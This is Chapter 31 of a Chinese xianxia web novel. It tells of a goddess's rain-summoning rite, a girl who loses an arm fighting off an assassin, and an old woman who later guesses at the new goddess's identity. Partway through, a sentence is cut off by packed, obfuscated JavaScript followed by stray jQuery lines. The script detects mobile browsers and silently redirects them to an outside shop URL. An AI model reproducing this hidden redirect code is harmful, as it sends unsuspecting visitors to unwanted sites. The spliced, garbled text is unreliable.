31. 第 31 章
作品:《五岁入门,十五成仙》 随着庙祝一声令下,祭坛附近霎时万籁俱寂,独留神女在风中拔出那柄乌鞘剑,剑上寒光竟与雷光相当,只是看到就让人挪不开眼,忍不住后退。
她抬手,剑指苍天。
花见春觉得这动作应该是触怒了神明,所以狂风才会更大,卷得几家屋檐都被吹翻,但百姓见状更加兴奋,神女也不曾退让。
良久的对峙中,忽有一股草木香以祭坛为圆心扩散开来,被风吹到人耳鼻口腔中,呛得台下围观的人直咳嗽,止不住头晕眼花。
尤以花见春咳得最厉害。
她很害怕,害怕仙女为了她们这群命比草贱的小孩奉献自己,更害怕祭坛上的仙女是个虚无泡影,那些样子是装出来的,其实人早就和庙祝串通一气,有了什么她不知道的阴暗秘密。
因此她偷偷捡起佩刀,不知不觉挤到内圈、站得最近。
呛咳之际,她没能听清神女念了些什么,花见春本就没读过多少书,听人说祷言简直有如雾中看花,但她记得同一时刻,鼻尖传来一股奇异的触感。
有一滴水奇迹般滴到了她的鼻尖上。
那是云城连续三年未曾见的雨水。
举目所见,漫天的雨点正迎面飞来,倾洒进这片干涸的大地。
细雨无声,浇得满城人都没了动静,强壮的盗贼、意气风发的先生、年轻的怪女人、或隐或现的人们,一时通通哑口无言;站的坐的,全部停下了手里事,只震惊地朝祭坛、朝神女看去。
神女看起来却不觉得自己做了多大的事情,仍是那副定定站立的模样,面上没多高兴,她持手中剑,却与身旁嘲讽众生的庙祝不同,选择将那悲悯的目光投向天空。
在那时,花见春意识到,世界上或许真的有天道存在。
天道甚至是可悲的,不然为什么只需要一个人的目光、一柄指向自己的剑,它就乖乖收回了干旱,降雨云城?
她吸了吸鼻子,忽然觉得哀伤。
明明只要那个人站到祭坛上拔出剑,云城就不会再干旱了,但人们却还在用童男童女当祭品,放血杀生恶欲横流,这方法明明错了呀!
祈雨醮真的能求来雨吗?做的一切真的有用吗?
雨幕之中,她忽得瞥见寒光一闪,随雨浮现的连番思绪被打断,那寒光直奔神女而去。
再容不得她多想,花见春也当即拔出佩刀,朝刺客方向跑去!
刀剑相撞,铿锵嗡鸣!
花见春全力挥刀,神色仍是难过,她身体倾倒,挡下了这蒙面刺客的一击,对方似乎也没料到会在这种时候出现个小姑娘挡路,当即使力将人挥到一边,再度蓄力,剑刃直至神女!
局势一时变幻诡谲,没人反应过来刺客是何时来的,没人知道台上挡刺客的小姑娘是谁,众人唯见:天雷将至。
赤日悬空,红霞蔽日,滚雷隆隆,花见春狼狈地从泥水里爬起,见神女正专心盯着云层,无暇顾及其他,而那天杀的刺客居然要刺杀成功——
她脑中最后一根理智的弦被痛苦燎断,明明和那个怪女人相见才不到一个时辰,怎么会为了个过客心焦至此?
本能驱使着花见春奔跑,恰在此时,台下终于有人反应过来,蹑手蹑脚捡起了落于泥淖的佩刀,手腕一转,泥点纷飞,刀光再度逼近刺客面门!
这一击没能击倒刺客,但足以让花见春追上人,她手中再无武器,时间紧急,见刺客一剑要落下,她霎时忘掉一切。
干旱、饥饿、痛苦、悲伤都被抛在脑后,花见春伸手,这次似乎老天都在帮她,让神女的一片衣角顺着风碰到了她的手。
可她却主动收回手,紧接着迅速转身,抬起手臂,死死盯着刺客的脸,像要把这个面孔烙进三魂六魄里。
瞬息间,刀刃落下,飞溅的血液洒了满身,半条手臂被凭空斩开,剑刃死死卡在骨头里,刺客一时动弹不得,花见春却立刻出手,用力将人按在祭坛石砖上。
她大口喘着气,踩住刺客胳膊不让人动,动作行云流水,好像断掉的手臂不是她的一样。
雷雨声里,花见春拔出骨头里的剑,看着脚下满目不甘的刺客,她在闪雷中高高、高高地举起了剑。
那双黑洞洞的眼中,熟悉的痛苦衔着眼泪归来,暴雨永无止尽,好像云城这一天的泪都蕴在她一个人眼里。
所有人都盯着她看,好像她是个怪女人。
艳阳下,西桐嘬着茶水,坐在老旧椅子上认真问:
“婆婆最后杀了那个刺客?”
花见春笑道:“杀了,那人竟敢刺杀神女大人,我必不能让他过去。”
西桐追问:“神女最后怎么样了?”
花见春怀念道:“若想在云城降雨,就必须要挡住天雷的攻势,她在祭坛上站了三天三夜,最后力竭倒地,被人带回客栈……这都是我听说的。”
她长叹口气:“那时我因为擅闯祭坛,被定重罪,官兵将我抓入大牢,还是神女大人醒后将我带出来的。”
说完话,花见春见小孩盯着自己,忍不住问:“怎么了?”
西桐道:“婆婆,你看起来很难过。”
花见春闻言有些疑惑,眨了眨眼。
“婆婆,你哭了。”
她这才感觉到脸上一片湿润,伸手去抹,竟然不知何时掉了眼泪。
花见春缓了会儿,生硬地转移话题:“不说我了,你呢?是怎么逃出来的?肯定吃了很多苦吧。”
西桐不擅长撒谎,向来有话直说,此时和花见春的眼睛对视,难得紧张起来:
“……最近城中官兵在抓神女,我趁机逃出来了。”
神女一词犹如平地惊雷,花见春瞳孔骤缩。
她不可置信地问:
“谁,谁是神女?她回来了?”
话一出口,她自己先摇摇头否定了这种可能,轻声道:
“不可能,她早就死了,怎么会……一定是别人。”
西桐见人站不太稳,连忙起身想拽住花见春的手。
温热的手心覆上来的时候,花见春却反手抓住西桐手腕,眼睛瞪大,沙哑道:“告诉我,那个神女,叫……算了,她姓什么?”
神女西桐不动声色看着她。
西桐道:“姓洛。”
……抱歉了洛三客,先借你姓氏一用。
她又不能自报家门,说神女姓西名桐。
看花见春不再询问,西桐本以为这话题被搪塞过去了,刚要松口气,下一秒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040670|192137||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就见人眼光流转。
她头皮霎时发麻,心中隐隐有不妙的预感。
担忧果然成真,只见花见春落泪,嗤笑道:“……偏偏是洛。”
这天底下还有几个能胜任神女一位、又姓洛的?
她越念越轻:“洛平,你既死了,又为何阴魂不散?你既不散……为何不回来?”
洛平?
等等,那不是洛三客的母亲、六十年前靖安长公主的名字吗?
西桐脑袋一宕。
所以那位传言中的神女,就是当年云游至此的长公主洛平??
她有些吃惊,但一思及和洛平有关的洛三客,心情突然复杂起来。
……不知洛三客要是知道自己当时晚走两年就能再见到母亲,会有什么反应。
忽然,一只手搭在了西桐肩膀上。
花见春终于从记忆中回神,一字一句分析道:“不是洛平,却又姓洛,还有能触犯神明的胆量和潜力……”
对方越说,西桐掐手心的指甲越用力,一颗心跳到了嗓子眼,不动声色和人对视。
花见春定定道:“那新任神女莫非是当今的九公主?”
西桐:“……”
谁?
她脑袋转得飞快,当即道:“我也不知,只是官兵说要抓神女,我便趁兵力薄弱之时逃出来了。”
花见春思来想去,闻言更是对自己的推断深信不疑:
“这么说来,九公主几年前被派去戍边,数数日子,她也到该回京的时候了,若是恰巧路过云城,被追捧为神女也不无可能……”
藏书阁书里知识虽多,但终究赶不上变化,在书中靖安长公主都算是新近人物。
这就导致西桐虽知道前朝历史和本朝的部分出名人物,对九公主这种后生人却两眼一抓瞎。
她只能闷声点头,边听边记,准备回去问问洛三客,看他知不知道自己有个未曾谋面的戍边小姨妈。
一壶粗茶在二人交流中慢慢见底,日头西下时,花见春见这小孩要离开,不愿意在此留宿,非要亲自送人出门。
二人抵达学堂时,老先生正在院中带孩子们散步,听见脚步声自然侧头,目光越过西桐,看见她身后的花见春时,神色一滞。
花见春越走神色越诧异,见到目的地是学堂,那老不死的还就站在不远处时,更是满脸不满。
她手还搭在西桐肩膀上,声色俱厉道:“你是这么看孩子的?
“人偷跑出去,被抓进大牢了,好不容易碰到我,这才安全回来。
“你之前说什么开学堂、收小孩,依我看是胡说八道!你这姓陆的撒谎精!”
陆先生被一通痛骂,花白胡须在风中晃荡,人恍惚地站在原地,黄昏中,周围奔跑的小孩仿佛都不再存在,他眼珠转动,难以置信地看向西桐。
西桐心虚低头,不敢和人对视。
恰在此时,最后一个人回来了,在场众人看见地上多了道长长的影子,一齐回头。
只见夕阳下走来个垂头丧气的身影,墨发高高扎起,随衣袂飘荡,面上神色恹恹,活像受了什么欺负,很委屈的样子。
看见洛三客那张似是故人来的脸时,花见春也有些恍惚了。

